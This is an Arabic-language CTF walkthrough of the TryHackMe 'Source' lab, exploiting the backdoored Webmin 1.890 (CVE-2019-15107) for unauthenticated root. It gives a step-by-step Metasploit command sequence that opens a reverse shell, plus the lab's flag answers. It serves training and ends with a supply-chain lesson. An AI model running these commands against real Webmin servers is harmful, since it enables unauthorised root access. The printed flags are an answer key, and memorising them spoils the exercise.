Lab: Source | STY IT Labs
STY IT Labs · TryHackMe · CVE Exploitation

Lab: Source
Webmin Supply-Chain Backdoor → Root فوري

لاب قصير ومركّز حوالين ثغرة واحدة قوية: نسخة Webmin 1.890 معروضة على بورت 10000 كانت فعلياً مزروع فيها Backdoor من سلسلة التوريد (Supply Chain) نفسها — استغلالها بيدّيك Root مباشرة من غير أي خطوة تصعيد صلاحيات.

Medium Difficulty Webmin 1.890 CVE-2019-15107 Supply Chain Backdoor Metasploit
WEBMIN :10000 BACKDOOR → ROOT SOURCE
Medium
30 – 60 دقيقة
2 Flags
Port 10000 (SSL)
TryHackMe
Linux

عن اللاب

source.thm
SSH (OpenSSH 7.6p1)
بورت 22 — مش جزء من الهجوم
Port 10000
Webmin 1.890 (MiniServ)
السطح الحقيقي — HTTPS
/root/root.txt
THM{UPDATE_YOUR_INSTALL}
Root من أول استغلال

Source لاب قصير بس بيعلّم درس مهم جداً في الأمن السيبراني: Supply Chain Attacks. نسخة Webmin اللي الموقع نزّلها كانت أصلاً مخترقة من المصدر — فيها Backdoor مزروع جوه كود المصادقة نفسه، مش ثغرة اكتشفها حد بعدين. ده معناه إن أي حد بينزّل النسخة دي بيكون معرّض للاختراق تلقائياً.

مفيش Privilege Escalation في اللاب ده أصلاً — الـ Backdoor بيشتغل بصلاحيات Webmin نفسها، وWebmin بيشتغل كـ root افتراضياً. يعني أول شل بتاخده هو Root مباشرة.

Source Badge

اكتشاف وResponsible exploitation لـ Backdoor حقيقي من سلسلة توريد المصدر

مسار الهجوم — من الفحص لحد Root

1

فحص الخدمات

Nmap يكشف SSH (OpenSSH 7.6p1) على 22، وMiniServ 1.890 (Webmin) على بورت 10000 شغال فوق SSL.

nmap -sV -sCWebmin MiniServ 1.890 / HTTPS
2

محاولة دخول عادية (فاشلة)

تصفح صفحة تسجيل دخول Webmin وتجربة اعتماديات شائعة لـ admin وroot — مفيش حاجة شغالة. السطح مش محمي بكلمة سر ضعيفة، المشكلة في مكان تاني.

Default credentials testFailed
3

البحث عن Exploit مناسب

msfconsole + search webmin بيرجع كذا موديول. الاختيار الصح هو exploit/linux/http/webmin_backdoor — مرتبة “excellent” ومش محتاجة اعتماديات أصلاً.

search webminwebmin_backdoor (no creds needed)
4

الاستغلال → Root مباشرة 🏆

ضبط RHOSTS وSSL true وRPORT 10000 وLHOST، وتشغيل exploit. الـ payload الافتراضي (cmd/unix/reverse_perl) بيفتح شل بصلاحيات root فوراً — ترقية الشل بـ Python pty عشان يبقى تفاعلي.

set SSL true / RPORT 10000python3 -c “import pty;pty.spawn(‘/bin/bash’)”uid=0(root) 🏆

مراحل اللاب

Service Scan
Login Attempt
Metasploit Search
Root Shell 🏆

Commands Cheat Sheet

الأمرالوصفالمرحلة
nmap -sV -sC -p- source.thmاكتشاف SSH وWebmin على بورت 10000Scan
msfconsole -qفتح Metasploit FrameworkSetup
search webminإيجاد موديول webmin_backdoorSearch
use exploit/linux/http/webmin_backdoorاختيار الاستغلال المناسبSelect
set RHOSTS source.thm; set SSL true; set RPORT 10000; set LHOST tun0_ipضبط إعدادات الاستغلالConfig
runتنفيذ الاستغلال والحصول على شل rootExploit
python3 -c “import pty;pty.spawn(‘/bin/bash’)”ترقية الشل لتفاعلي كاملUpgrade

المهام والأسئلة

Task 1 — فحص الخدمات

اكتشاف Webmin 1.890 على بورت 10000

Recon
02

Task 2 — البحث عن الاستغلال المناسب

webmin_backdoor في Metasploit — من غير اعتماديات

Exploit
03

Task 3 — User Flag

/home/dark/user.txt — THM{SUPPLY_CHAIN_COMPROMISE}

User ✓
04

Task 4 — Root Flag 🏆

/root/root.txt — THM{UPDATE_YOUR_INSTALL}

Root 🏆
▶ أدخل الـ Flag الخاص بمهمتك الحالية

Terminal — من الفحص لحد Root

root@kali — Source (source.thm)
# Phase 1 — Recon
└─# nmap -sV -sC -p- source.thm
22/tcp open ssh OpenSSH 7.6p1
10000/tcp open ssl/http MiniServ 1.890 (Webmin httpd)

# Phase 2 — Metasploit Exploitation
msf6 > search webmin
exploit/linux/http/webmin_backdoor excellent No auth required
msf6 > use exploit/linux/http/webmin_backdoor
msf6 exploit(webmin_backdoor) > set RHOSTS source.thm
msf6 exploit(webmin_backdoor) > set SSL true
msf6 exploit(webmin_backdoor) > set RPORT 10000
msf6 exploit(webmin_backdoor) > set LHOST tun0
msf6 exploit(webmin_backdoor) > run
[+] Command shell session 1 opened

# Phase 3 — Shell Upgrade + Flags
$ python3 -c “import pty;pty.spawn(‘/bin/bash’)”
root@source:~# whoami
root
root@source:~# cat /home/dark/user.txt
THM{SUPPLY_CHAIN_COMPROMISE}
root@source:~# cat /root/root.txt
THM{UPDATE_YOUR_INSTALL} 🏆

└─#

المهارات المكتسبة

Service Fingerprinting
Metasploit Module Research
Supply Chain Attack Awareness
Unauthenticated RCE
Shell Stabilization (pty)
CVE Research

الأدوات المستخدمة

Nmapفحص الخدمات واكتشاف نسخة Webmin
Metasploit (msfconsole)البحث عن وتشغيل موديول webmin_backdoor
Python ptyترقية الشل لـ TTY تفاعلي كامل
الدرس الحقيقي هنا: لو نزّلت أداة إدارة نظام زي Webmin من مصدر غير رسمي أو نسخة قديمة، ممكن تكون فعلاً معرّضة لـ Backdoor مزروع في الكود الأصلي مش ثغرة مكتشفة لاحقاً — تحقق دايماً من checksums والمصدر الرسمي.